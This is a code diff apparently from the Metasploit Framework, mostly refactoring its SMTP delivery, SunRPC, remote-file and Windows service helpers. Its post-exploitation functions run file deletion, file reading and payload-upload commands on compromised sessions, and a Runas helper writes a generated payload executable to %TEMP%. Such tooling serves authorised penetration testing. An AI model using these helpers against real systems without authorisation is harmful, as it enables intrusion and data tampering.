OptAddress.new("RHOST", [ true, "The SMTP server to send through" ]),
|
||||||
OptPort.new("RPORT", [ true, "The SMTP server port (e.g. 25, 465, 587, 2525)", 25 ]),
|
OptPort.new("RPORT", [ true, "The SMTP server port (e.g. 25, 465, 587, 2525)", 25 ]),
|
||||||
|
OptString.new('DATE', [false, 'Override the DATE: field with this value', '']),
|
||||||
OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com' ]),
|
OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com' ]),
|
||||||
OptString.new('MAILTO', [ true, 'The TO address of the email' ]),
|
OptString.new('MAILTO', [ true, 'The TO address of the email' ]),
|
||||||
OptString.new('SUBJECT', [ true, 'Subject line of the email' ]),
|
OptString.new('SUBJECT', [ true, 'Subject line of the email' ]),
|
||||||
|
@ -140,6 +141,19 @@ module Exploit::Remote::SMTPDeliver
|
||||||
raw_send_recv("MAIL FROM: <#{datastore['MAILFROM']}>\r\n", nsock)
|
raw_send_recv("MAIL FROM: <#{datastore['MAILFROM']}>\r\n", nsock)
|
||||||
raw_send_recv("RCPT TO: <#{datastore['MAILTO']}>\r\n", nsock)
|
raw_send_recv("RCPT TO: <#{datastore['MAILTO']}>\r\n", nsock)
|
||||||
|
|
||||||
|
# If the user supplied a Date field, use that, else use the current
|
||||||
|
# DateTime in the proper RFC2822 format.
|
||||||
|
if datastore['DATE'].present?
|
||||||
|
raw_send_recv("Date: #{datastore['DATE']}\r\n", nsock)
|
||||||
|
else
|
||||||
|
raw_send_recv("Date: #{DateTime.now.rfc2822}\r\n", nsock)
|
||||||
|
end
|
||||||
|
|
||||||
|
# If the user supplied a Subject field, use that
|
||||||
|
if datastore['SUBJECT'].present?
|
||||||
|
raw_send_recv("Subject: #{datastore['SUBJECT']}\r\n", nsock)
|
||||||
|
end
|
||||||
|
|
||||||
resp = raw_send_recv("DATA\r\n", nsock)
|
resp = raw_send_recv("DATA\r\n", nsock)
|
||||||
|
|
||||||
# Avoid sending tons of data and killing the connection if the server
|
# Avoid sending tons of data and killing the connection if the server
|
||||||
|
|
|
@ -84,7 +84,7 @@ module Exploit::Remote::SunRPC
|
||||||
rpcobj.pport = arr[5]
|
rpcobj.pport = arr[5]
|
||||||
end
|
end
|
||||||
|
|
||||||
def sunrpc_call(proc, buf, timeout = timeout)
|
def sunrpc_call(proc, buf, timeout = timeout())
|
||||||
ret = rpcobj.call(proc, buf, timeout)
|
ret = rpcobj.call(proc, buf, timeout)
|
||||||
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret
|
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret
|
||||||
|
|
||||||
|
|
|
@ -3,20 +3,26 @@
|
||||||
module Msf::Post::File
|
module Msf::Post::File
|
||||||
|
|
||||||
#
|
#
|
||||||
# Change directory in the remote session to +path+
|
# Change directory in the remote session to +path+, which may be relative or
|
||||||
|
# absolute.
|
||||||
#
|
#
|
||||||
|
# @return [void]
|
||||||
def cd(path)
|
def cd(path)
|
||||||
|
e_path = expand_path(path) rescue path
|
||||||
if session.type == "meterpreter"
|
if session.type == "meterpreter"
|
||||||
e_path = session.fs.file.expand_path(path) rescue path
|
|
||||||
session.fs.dir.chdir(e_path)
|
session.fs.dir.chdir(e_path)
|
||||||
else
|
else
|
||||||
session.shell_command_token("cd '#{path}'")
|
session.shell_command_token("cd \"#{e_path}\"")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns the current working directory in the remote session
|
# Returns the current working directory in the remote session
|
||||||
#
|
#
|
||||||
|
# @note This may be inaccurate on shell sessions running on Windows before
|
||||||
|
# XP/2k3
|
||||||
|
#
|
||||||
|
# @return [String]
|
||||||
def pwd
|
def pwd
|
||||||
if session.type == "meterpreter"
|
if session.type == "meterpreter"
|
||||||
return session.fs.dir.getwd
|
return session.fs.dir.getwd
|
||||||
|
@ -51,6 +57,7 @@ module Msf::Post::File
|
||||||
#
|
#
|
||||||
# See if +path+ exists on the remote system and is a directory
|
# See if +path+ exists on the remote system and is a directory
|
||||||
#
|
#
|
||||||
|
# @param path [String] Remote filename to check
|
||||||
def directory?(path)
|
def directory?(path)
|
||||||
if session.type == "meterpreter"
|
if session.type == "meterpreter"
|
||||||
stat = session.fs.file.stat(path) rescue nil
|
stat = session.fs.file.stat(path) rescue nil
|
||||||
|
@ -60,7 +67,7 @@ module Msf::Post::File
|
||||||
if session.platform =~ /win/
|
if session.platform =~ /win/
|
||||||
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )")
|
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )")
|
||||||
else
|
else
|
||||||
f = session.shell_command_token("test -d '#{path}' && echo true")
|
f = session.shell_command_token("test -d \"#{path}\" && echo true")
|
||||||
end
|
end
|
||||||
|
|
||||||
return false if f.nil? or f.empty?
|
return false if f.nil? or f.empty?
|
||||||
|
@ -72,6 +79,7 @@ module Msf::Post::File
|
||||||
#
|
#
|
||||||
# Expand any environment variables to return the full path specified by +path+.
|
# Expand any environment variables to return the full path specified by +path+.
|
||||||
#
|
#
|
||||||
|
# @return [String]
|
||||||
def expand_path(path)
|
def expand_path(path)
|
||||||
if session.type == "meterpreter"
|
if session.type == "meterpreter"
|
||||||
return session.fs.file.expand_path(path)
|
return session.fs.file.expand_path(path)
|
||||||
|
@ -83,6 +91,7 @@ module Msf::Post::File
|
||||||
#
|
#
|
||||||
# See if +path+ exists on the remote system and is a regular file
|
# See if +path+ exists on the remote system and is a regular file
|
||||||
#
|
#
|
||||||
|
# @param path [String] Remote filename to check
|
||||||
def file?(path)
|
def file?(path)
|
||||||
if session.type == "meterpreter"
|
if session.type == "meterpreter"
|
||||||
stat = session.fs.file.stat(path) rescue nil
|
stat = session.fs.file.stat(path) rescue nil
|
||||||
|
@ -95,7 +104,7 @@ module Msf::Post::File
|
||||||
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )")
|
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )")
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
f = session.shell_command_token("test -f '#{path}' && echo true")
|
f = session.shell_command_token("test -f \"#{path}\" && echo true")
|
||||||
end
|
end
|
||||||
|
|
||||||
return false if f.nil? or f.empty?
|
return false if f.nil? or f.empty?
|
||||||
|
@ -109,15 +118,16 @@ module Msf::Post::File
|
||||||
#
|
#
|
||||||
# Check for existence of +path+ on the remote file system
|
# Check for existence of +path+ on the remote file system
|
||||||
#
|
#
|
||||||
|
# @param path [String] Remote filename to check
|
||||||
def exist?(path)
|
def exist?(path)
|
||||||
if session.type == "meterpreter"
|
if session.type == "meterpreter"
|
||||||
stat = session.fs.file.stat(path) rescue nil
|
stat = session.fs.file.stat(path) rescue nil
|
||||||
return !!(stat)
|
return !!(stat)
|
||||||
else
|
else
|
||||||
if session.platform =~ /win/
|
if session.platform =~ /win/
|
||||||
f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )")
|
f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )")
|
||||||
else
|
else
|
||||||
f = session.shell_command_token("test -e '#{path}' && echo true")
|
f = cmd_exec("test -e \"#{path}\" && echo true")
|
||||||
end
|
end
|
||||||
|
|
||||||
return false if f.nil? or f.empty?
|
return false if f.nil? or f.empty?
|
||||||
|
@ -126,31 +136,19 @@ module Msf::Post::File
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Remove a remote file
|
|
||||||
#
|
|
||||||
def file_rm(file)
|
|
||||||
if session.type == "meterpreter"
|
|
||||||
session.fs.file.rm(file)
|
|
||||||
else
|
|
||||||
if session.platform =~ /win/
|
|
||||||
session.shell_command_token("del \"#{file}\"")
|
|
||||||
else
|
|
||||||
session.shell_command_token("rm -f '#{file}'")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Writes a given string to a given local file
|
# Writes a given string to a given local file
|
||||||
#
|
#
|
||||||
def file_local_write(file2wrt, data2wrt)
|
# @param local_file_name [String]
|
||||||
if not ::File.exists?(file2wrt)
|
# @param data [String]
|
||||||
::FileUtils.touch(file2wrt)
|
# @return [void]
|
||||||
|
def file_local_write(local_file_name, data)
|
||||||
|
unless ::File.exists?(local_file_name)
|
||||||
|
::FileUtils.touch(local_file_name)
|
||||||
end
|
end
|
||||||
|
|
||||||
output = ::File.open(file2wrt, "a")
|
output = ::File.open(local_file_name, "a")
|
||||||
data2wrt.each_line do |d|
|
data.each_line do |d|
|
||||||
output.puts(d)
|
output.puts(d)
|
||||||
end
|
end
|
||||||
output.close
|
output.close
|
||||||
|
@ -159,22 +157,27 @@ module Msf::Post::File
|
||||||
#
|
#
|
||||||
# Returns a MD5 checksum of a given local file
|
# Returns a MD5 checksum of a given local file
|
||||||
#
|
#
|
||||||
def file_local_digestmd5(file2md5)
|
# @param local_file_name [String] Local file name
|
||||||
if not ::File.exists?(file2md5)
|
# @return [String] Hex digest of file contents
|
||||||
raise "File #{file2md5} does not exists!"
|
def file_local_digestmd5(local_file_name)
|
||||||
else
|
if ::File.exists?(local_file_name)
|
||||||
require 'digest/md5'
|
require 'digest/md5'
|
||||||
chksum = nil
|
chksum = nil
|
||||||
chksum = Digest::MD5.hexdigest(::File.open(file2md5, "rb") { |f| f.read})
|
chksum = Digest::MD5.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
|
||||||
return chksum
|
return chksum
|
||||||
|
else
|
||||||
|
raise "File #{local_file_name} does not exists!"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns a MD5 checksum of a given remote file
|
# Returns a MD5 checksum of a given remote file
|
||||||
#
|
#
|
||||||
def file_remote_digestmd5(file2md5)
|
# @note THIS DOWNLOADS THE FILE
|
||||||
data = read_file(file2md5)
|
# @param file_name [String] Remote file name
|
||||||
|
# @return [String] Hex digest of file contents
|
||||||
|
def file_remote_digestmd5(file_name)
|
||||||
|
data = read_file(file_name)
|
||||||
chksum = nil
|
chksum = nil
|
||||||
if data
|
if data
|
||||||
chksum = Digest::MD5.hexdigest(data)
|
chksum = Digest::MD5.hexdigest(data)
|
||||||
|
@ -185,22 +188,27 @@ module Msf::Post::File
|
||||||
#
|
#
|
||||||
# Returns a SHA1 checksum of a given local file
|
# Returns a SHA1 checksum of a given local file
|
||||||
#
|
#
|
||||||
def file_local_digestsha1(file2sha1)
|
# @param local_file_name [String] Local file name
|
||||||
if not ::File.exists?(file2sha1)
|
# @return [String] Hex digest of file contents
|
||||||
raise "File #{file2sha1} does not exists!"
|
def file_local_digestsha1(local_file_name)
|
||||||
else
|
if ::File.exists?(local_file_name)
|
||||||
require 'digest/sha1'
|
require 'digest/sha1'
|
||||||
chksum = nil
|
chksum = nil
|
||||||
chksum = Digest::SHA1.hexdigest(::File.open(file2sha1, "rb") { |f| f.read})
|
chksum = Digest::SHA1.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
|
||||||
return chksum
|
return chksum
|
||||||
|
else
|
||||||
|
raise "File #{local_file_name} does not exists!"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns a SHA1 checksum of a given remote file
|
# Returns a SHA1 checksum of a given remote file
|
||||||
#
|
#
|
||||||
def file_remote_digestsha1(file2sha1)
|
# @note THIS DOWNLOADS THE FILE
|
||||||
data = read_file(file2sha1)
|
# @param file_name [String] Remote file name
|
||||||
|
# @return [String] Hex digest of file contents
|
||||||
|
def file_remote_digestsha1(file_name)
|
||||||
|
data = read_file(file_name)
|
||||||
chksum = nil
|
chksum = nil
|
||||||
if data
|
if data
|
||||||
chksum = Digest::SHA1.hexdigest(data)
|
chksum = Digest::SHA1.hexdigest(data)
|
||||||
|
@ -211,22 +219,27 @@ module Msf::Post::File
|
||||||
#
|
#
|
||||||
# Returns a SHA256 checksum of a given local file
|
# Returns a SHA256 checksum of a given local file
|
||||||
#
|
#
|
||||||
def file_local_digestsha2(file2sha2)
|
# @param local_file_name [String] Local file name
|
||||||
if not ::File.exists?(file2sha2)
|
# @return [String] Hex digest of file contents
|
||||||
raise "File #{file2sha2} does not exists!"
|
def file_local_digestsha2(local_file_name)
|
||||||
else
|
if ::File.exists?(local_file_name)
|
||||||
require 'digest/sha2'
|
require 'digest/sha2'
|
||||||
chksum = nil
|
chksum = nil
|
||||||
chksum = Digest::SHA256.hexdigest(::File.open(file2sha2, "rb") { |f| f.read})
|
chksum = Digest::SHA256.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
|
||||||
return chksum
|
return chksum
|
||||||
|
else
|
||||||
|
raise "File #{local_file_name} does not exists!"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns a SHA2 checksum of a given remote file
|
# Returns a SHA2 checksum of a given remote file
|
||||||
#
|
#
|
||||||
def file_remote_digestsha2(file2sha2)
|
# @note THIS DOWNLOADS THE FILE
|
||||||
data = read_file(file2sha2)
|
# @param file_name [String] Remote file name
|
||||||
|
# @return [String] Hex digest of file contents
|
||||||
|
def file_remote_digestsha2(file_name)
|
||||||
|
data = read_file(file_name)
|
||||||
chksum = nil
|
chksum = nil
|
||||||
if data
|
if data
|
||||||
chksum = Digest::SHA256.hexdigest(data)
|
chksum = Digest::SHA256.hexdigest(data)
|
||||||
|
@ -238,6 +251,8 @@ module Msf::Post::File
|
||||||
# Platform-agnostic file read. Returns contents of remote file +file_name+
|
# Platform-agnostic file read. Returns contents of remote file +file_name+
|
||||||
# as a String.
|
# as a String.
|
||||||
#
|
#
|
||||||
|
# @param file_name [String] Remote file name to read
|
||||||
|
# @return [String] Contents of the file
|
||||||
def read_file(file_name)
|
def read_file(file_name)
|
||||||
data = nil
|
data = nil
|
||||||
if session.type == "meterpreter"
|
if session.type == "meterpreter"
|
||||||
|
@ -246,19 +261,20 @@ module Msf::Post::File
|
||||||
if session.platform =~ /win/
|
if session.platform =~ /win/
|
||||||
data = session.shell_command_token("type \"#{file_name}\"")
|
data = session.shell_command_token("type \"#{file_name}\"")
|
||||||
else
|
else
|
||||||
data = session.shell_command_token("cat \'#{file_name}\'")
|
data = session.shell_command_token("cat \"#{file_name}\"")
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
data
|
data
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Platform-agnostic file write. Writes given object content to a remote file.
|
# Platform-agnostic file write. Writes given object content to a remote file.
|
||||||
# Returns Boolean true if successful
|
|
||||||
#
|
#
|
||||||
# NOTE: *This is not binary-safe on Windows shell sessions!*
|
# NOTE: *This is not binary-safe on Windows shell sessions!*
|
||||||
#
|
#
|
||||||
|
# @param file_name [String] Remote file name to write
|
||||||
|
# @param data [String] Contents to put in the file
|
||||||
|
# @return [void]
|
||||||
def write_file(file_name, data)
|
def write_file(file_name, data)
|
||||||
if session.type == "meterpreter"
|
if session.type == "meterpreter"
|
||||||
fd = session.fs.file.new(file_name, "wb")
|
fd = session.fs.file.new(file_name, "wb")
|
||||||
|
@ -281,6 +297,9 @@ module Msf::Post::File
|
||||||
#
|
#
|
||||||
# NOTE: *This is not binary-safe on Windows shell sessions!*
|
# NOTE: *This is not binary-safe on Windows shell sessions!*
|
||||||
#
|
#
|
||||||
|
# @param file_name [String] Remote file name to write
|
||||||
|
# @param data [String] Contents to put in the file
|
||||||
|
# @return [void]
|
||||||
def append_file(file_name, data)
|
def append_file(file_name, data)
|
||||||
if session.type == "meterpreter"
|
if session.type == "meterpreter"
|
||||||
fd = session.fs.file.new(file_name, "ab")
|
fd = session.fs.file.new(file_name, "ab")
|
||||||
|
@ -300,6 +319,9 @@ module Msf::Post::File
|
||||||
# Read a local file +local+ and write it as +remote+ on the remote file
|
# Read a local file +local+ and write it as +remote+ on the remote file
|
||||||
# system
|
# system
|
||||||
#
|
#
|
||||||
|
# @param remote [String] Destination file name on the remote filesystem
|
||||||
|
# @param local [String] Local file whose contents will be uploaded
|
||||||
|
# @return (see #write_file)
|
||||||
def upload_file(remote, local)
|
def upload_file(remote, local)
|
||||||
write_file(remote, ::File.read(local))
|
write_file(remote, ::File.read(local))
|
||||||
end
|
end
|
||||||
|
@ -307,38 +329,54 @@ module Msf::Post::File
|
||||||
#
|
#
|
||||||
# Delete remote files
|
# Delete remote files
|
||||||
#
|
#
|
||||||
|
# @param remote_files [Array<String>] List of remote filenames to
|
||||||
|
# delete
|
||||||
|
# @return [void]
|
||||||
def rm_f(*remote_files)
|
def rm_f(*remote_files)
|
||||||
remote_files.each do |remote|
|
remote_files.each do |remote|
|
||||||
if session.type == "meterpreter"
|
if session.type == "meterpreter"
|
||||||
session.fs.file.delete(remote) if exist?(remote)
|
session.fs.file.delete(remote) if exist?(remote)
|
||||||
else
|
else
|
||||||
if session.platform =~ /win/
|
if session.platform =~ /win/
|
||||||
cmd_exec("del /q /f #{remote}")
|
cmd_exec("del /q /f \"#{remote}\"")
|
||||||
else
|
else
|
||||||
cmd_exec("rm -f #{remote}")
|
cmd_exec("rm -f \"#{remote}\"")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
alias :file_rm :rm_f
|
||||||
|
|
||||||
#
|
#
|
||||||
# Rename a remote file.
|
# Rename a remote file.
|
||||||
#
|
#
|
||||||
|
# @param old_file [String] Remote file name to move
|
||||||
|
# @param new_file [String] The new name for the remote file
|
||||||
def rename_file(old_file, new_file)
|
def rename_file(old_file, new_file)
|
||||||
if session.respond_to? :commands and session.commands.include?("stdapi_fs_file_move")
|
if session.respond_to? :commands && session.commands.include?("stdapi_fs_file_move")
|
||||||
session.fs.file.mv(old_file, new_file)
|
return (session.fs.file.mv(old_file, new_file).result == 0)
|
||||||
else
|
else
|
||||||
if session.platform =~ /win/
|
if session.platform =~ /win/
|
||||||
cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|)
|
if cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|) =~ /moved/
|
||||||
|
return true
|
||||||
else
|
else
|
||||||
cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|)
|
return false
|
||||||
end
|
end
|
||||||
|
else
|
||||||
|
if cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|).empty?
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
alias :move_file :rename_file
|
alias :move_file :rename_file
|
||||||
alias :mv_file :rename_file
|
alias :mv_file :rename_file
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
#
|
#
|
||||||
# Meterpreter-specific file read. Returns contents of remote file
|
# Meterpreter-specific file read. Returns contents of remote file
|
||||||
# +file_name+ as a String or nil if there was an error
|
# +file_name+ as a String or nil if there was an error
|
||||||
|
@ -346,11 +384,12 @@ protected
|
||||||
# You should never call this method directly. Instead, call {#read_file}
|
# You should never call this method directly. Instead, call {#read_file}
|
||||||
# which will call this if it is appropriate for the given session.
|
# which will call this if it is appropriate for the given session.
|
||||||
#
|
#
|
||||||
|
# @return [String]
|
||||||
def _read_file_meterpreter(file_name)
|
def _read_file_meterpreter(file_name)
|
||||||
begin
|
begin
|
||||||
fd = session.fs.file.new(file_name, "rb")
|
fd = session.fs.file.new(file_name, "rb")
|
||||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||||
print_error("Failed to open file: #{file_name}")
|
print_error("Failed to open file: #{file_name}: #{e}")
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -370,10 +409,11 @@ protected
|
||||||
#
|
#
|
||||||
# Truncates if +append+ is false, appends otherwise.
|
# Truncates if +append+ is false, appends otherwise.
|
||||||
#
|
#
|
||||||
# You should never call this method directly. Instead, call #write_file or
|
# You should never call this method directly. Instead, call {#write_file}
|
||||||
# #append_file which will call this if it is appropriate for the given
|
# or {#append_file} which will call this if it is appropriate for the given
|
||||||
# session.
|
# session.
|
||||||
#
|
#
|
||||||
|
# @return [void]
|
||||||
def _write_file_unix_shell(file_name, data, append=false)
|
def _write_file_unix_shell(file_name, data, append=false)
|
||||||
redirect = (append ? ">>" : ">")
|
redirect = (append ? ">>" : ">")
|
||||||
|
|
||||||
|
@ -482,7 +522,7 @@ protected
|
||||||
# The first command needs to use the provided redirection for either
|
# The first command needs to use the provided redirection for either
|
||||||
# appending or truncating.
|
# appending or truncating.
|
||||||
cmd = command.sub("CONTENTS") { chunks.shift }
|
cmd = command.sub("CONTENTS") { chunks.shift }
|
||||||
session.shell_command_token("#{cmd} #{redirect} '#{file_name}'")
|
session.shell_command_token("#{cmd} #{redirect} \"#{file_name}\"")
|
||||||
|
|
||||||
# After creating/truncating or appending with the first command, we
|
# After creating/truncating or appending with the first command, we
|
||||||
# need to append from here on out.
|
# need to append from here on out.
|
||||||
|
@ -499,6 +539,7 @@ protected
|
||||||
#
|
#
|
||||||
# Calculate the maximum line length for a unix shell.
|
# Calculate the maximum line length for a unix shell.
|
||||||
#
|
#
|
||||||
|
# @return [Fixnum]
|
||||||
def _unix_max_line_length
|
def _unix_max_line_length
|
||||||
# Based on autoconf's arg_max calculator, see
|
# Based on autoconf's arg_max calculator, see
|
||||||
# http://www.in-ulm.de/~mascheck/various/argmax/autoconf_check.html
|
# http://www.in-ulm.de/~mascheck/various/argmax/autoconf_check.html
|
||||||
|
|
|
@ -283,7 +283,7 @@ module Accounts
|
||||||
vprint_error("The system cannot find the file specified: #{dir}")
|
vprint_error("The system cannot find the file specified: #{dir}")
|
||||||
return nil
|
return nil
|
||||||
else
|
else
|
||||||
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
|
vprint_error("#{f['ErrorMessage']}: #{dir}")
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -298,6 +298,8 @@ module Accounts
|
||||||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||||
if !w["return"] then return nil end
|
if !w["return"] then return nil end
|
||||||
if w["GrantedAccess"] > 0 then result << "W" end
|
if w["GrantedAccess"] > 0 then result << "W" end
|
||||||
|
|
||||||
|
result
|
||||||
end
|
end
|
||||||
|
|
||||||
end # Accounts
|
end # Accounts
|
||||||
|
|
|
@ -90,7 +90,7 @@ module Msf::Post::Windows::Priv
|
||||||
uac = false
|
uac = false
|
||||||
winversion = session.sys.config.sysinfo['OS']
|
winversion = session.sys.config.sysinfo['OS']
|
||||||
|
|
||||||
if winversion =~ /Windows (Vista|7|8|2008)/
|
if winversion =~ /Windows (Vista|7|8|2008|2012)/
|
||||||
unless is_system?
|
unless is_system?
|
||||||
begin
|
begin
|
||||||
enable_lua = registry_getvaldata(
|
enable_lua = registry_getvaldata(
|
||||||
|
|
|
@ -12,7 +12,7 @@ module Msf::Post::Windows::Runas
|
||||||
def shell_execute_exe(filename = nil, path = nil)
|
def shell_execute_exe(filename = nil, path = nil)
|
||||||
exe_payload = generate_payload_exe
|
exe_payload = generate_payload_exe
|
||||||
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
|
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
|
||||||
payload_path = path || expand_path('%TEMP%')
|
payload_path = path || get_env('TEMP')
|
||||||
cmd_location = "#{payload_path}\\#{payload_filename}"
|
cmd_location = "#{payload_path}\\#{payload_filename}"
|
||||||
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
|
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
|
||||||
write_file(cmd_location, exe_payload)
|
write_file(cmd_location, exe_payload)
|
||||||
|
|
|
@ -23,8 +23,29 @@ end
|
||||||
#
|
#
|
||||||
module Services
|
module Services
|
||||||
|
|
||||||
|
START_TYPE = ["Boot","System","Auto","Manual","Disabled"]
|
||||||
|
START_TYPE_BOOT = 0
|
||||||
|
START_TYPE_SYSTEM = 1
|
||||||
|
START_TYPE_AUTO = 2
|
||||||
|
START_TYPE_MANUAL = 3
|
||||||
|
START_TYPE_DISABLED = 4
|
||||||
|
|
||||||
|
SERVICE_STOPPED = 1
|
||||||
|
SERVICE_START_PENDING = 2
|
||||||
|
SERVICE_STOP_PENDING = 3
|
||||||
|
SERVICE_RUNNING = 4
|
||||||
|
SERVICE_CONTINUE_PENDING = 5
|
||||||
|
SERVICE_PAUSE_PENDING = 6
|
||||||
|
SERVICE_PAUSED = 7
|
||||||
|
|
||||||
|
include ::Msf::Post::Windows::Error
|
||||||
|
include ::Msf::Post::Windows::ExtAPI
|
||||||
include ::Msf::Post::Windows::Registry
|
include ::Msf::Post::Windows::Registry
|
||||||
|
|
||||||
|
def advapi32
|
||||||
|
session.railgun.advapi32
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Open the service manager with advapi32.dll!OpenSCManagerA on the
|
# Open the service manager with advapi32.dll!OpenSCManagerA on the
|
||||||
# given host or the local machine if :host option is nil. If called
|
# given host or the local machine if :host option is nil. If called
|
||||||
|
@ -42,12 +63,12 @@ module Services
|
||||||
# OpenSCManagerA()
|
# OpenSCManagerA()
|
||||||
# @yield [manager] Gives the block a manager handle as returned by
|
# @yield [manager] Gives the block a manager handle as returned by
|
||||||
# advapi32.dll!OpenSCManagerA. When the block returns, the handle
|
# advapi32.dll!OpenSCManagerA. When the block returns, the handle
|
||||||
# will be closed with {#close_sc_manager}.
|
# will be closed with {#close_service_handle}.
|
||||||
# @raise [RuntimeError] if OpenSCManagerA returns a NULL handle
|
# @raise [RuntimeError] if OpenSCManagerA returns a NULL handle
|
||||||
#
|
#
|
||||||
def open_sc_manager(opts={})
|
def open_sc_manager(opts={})
|
||||||
host = opts[:host] || nil
|
host = opts[:host] || nil
|
||||||
access = opts[:access] || 0xF003F
|
access = opts[:access] || "SC_MANAGER_ALL_ACCESS"
|
||||||
machine_str = host ? "\\\\#{host}" : nil
|
machine_str = host ? "\\\\#{host}" : nil
|
||||||
|
|
||||||
# SC_HANDLE WINAPI OpenSCManager(
|
# SC_HANDLE WINAPI OpenSCManager(
|
||||||
|
@ -55,16 +76,16 @@ module Services
|
||||||
# _In_opt_ LPCTSTR lpDatabaseName,
|
# _In_opt_ LPCTSTR lpDatabaseName,
|
||||||
# _In_ DWORD dwDesiredAccess
|
# _In_ DWORD dwDesiredAccess
|
||||||
# );
|
# );
|
||||||
manag = session.railgun.advapi32.OpenSCManagerA(machine_str,nil,access)
|
manag = advapi32.OpenSCManagerA(machine_str,nil,access)
|
||||||
if (manag["return"] == 0)
|
if (manag["return"] == 0)
|
||||||
raise RuntimeError.new("Unable to open service manager, GetLastError: #{manag["GetLastError"]}")
|
raise RuntimeError.new("Unable to open service manager: #{manag["ErrorMessage"]}")
|
||||||
end
|
end
|
||||||
|
|
||||||
if (block_given?)
|
if (block_given?)
|
||||||
begin
|
begin
|
||||||
yield manag["return"]
|
yield manag["return"]
|
||||||
ensure
|
ensure
|
||||||
close_sc_manager(manag["return"])
|
close_service_handle(manag["return"])
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
return manag["return"]
|
return manag["return"]
|
||||||
|
@ -74,39 +95,115 @@ module Services
|
||||||
#
|
#
|
||||||
# Call advapi32.dll!CloseServiceHandle on the given handle
|
# Call advapi32.dll!CloseServiceHandle on the given handle
|
||||||
#
|
#
|
||||||
def close_sc_manager(handle)
|
def close_service_handle(handle)
|
||||||
if handle
|
if handle
|
||||||
session.railgun.advapi32.CloseServiceHandle(handle)
|
advapi32.CloseServiceHandle(handle)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Open the service with advapi32.dll!OpenServiceA on the
|
||||||
|
# target manager
|
||||||
|
#
|
||||||
|
# @return [Fixnum] Opaque Windows handle SC_HANDLE as returned by
|
||||||
|
# OpenServiceA()
|
||||||
|
# @yield [manager] Gives the block a service handle as returned by
|
||||||
|
# advapi32.dll!OpenServiceA. When the block returns, the handle
|
||||||
|
# will be closed with {#close_service_handle}.
|
||||||
|
# @raise [RuntimeError] if OpenServiceA failed
|
||||||
|
#
|
||||||
|
def open_service_handle(manager, name, access)
|
||||||
|
handle = advapi32.OpenServiceA(manager, name, access)
|
||||||
|
if (handle["return"] == 0)
|
||||||
|
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}")
|
||||||
|
end
|
||||||
|
|
||||||
|
if (block_given?)
|
||||||
|
begin
|
||||||
|
yield handle["return"]
|
||||||
|
ensure
|
||||||
|
close_service_handle(handle["return"])
|
||||||
|
end
|
||||||
|
else
|
||||||
|
return handle["return"]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Yield each service name on the remote host
|
||||||
|
#
|
||||||
|
# @todo Allow operating on a remote host
|
||||||
|
# @yield [String] Case-sensitive name of a service
|
||||||
|
def each_service(&block)
|
||||||
|
if load_extapi
|
||||||
|
session.extapi.service.enumerate.each(&block)
|
||||||
|
else
|
||||||
|
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
||||||
|
|
||||||
|
keys = registry_enumkeys(serviceskey)
|
||||||
|
keys.each do |sk|
|
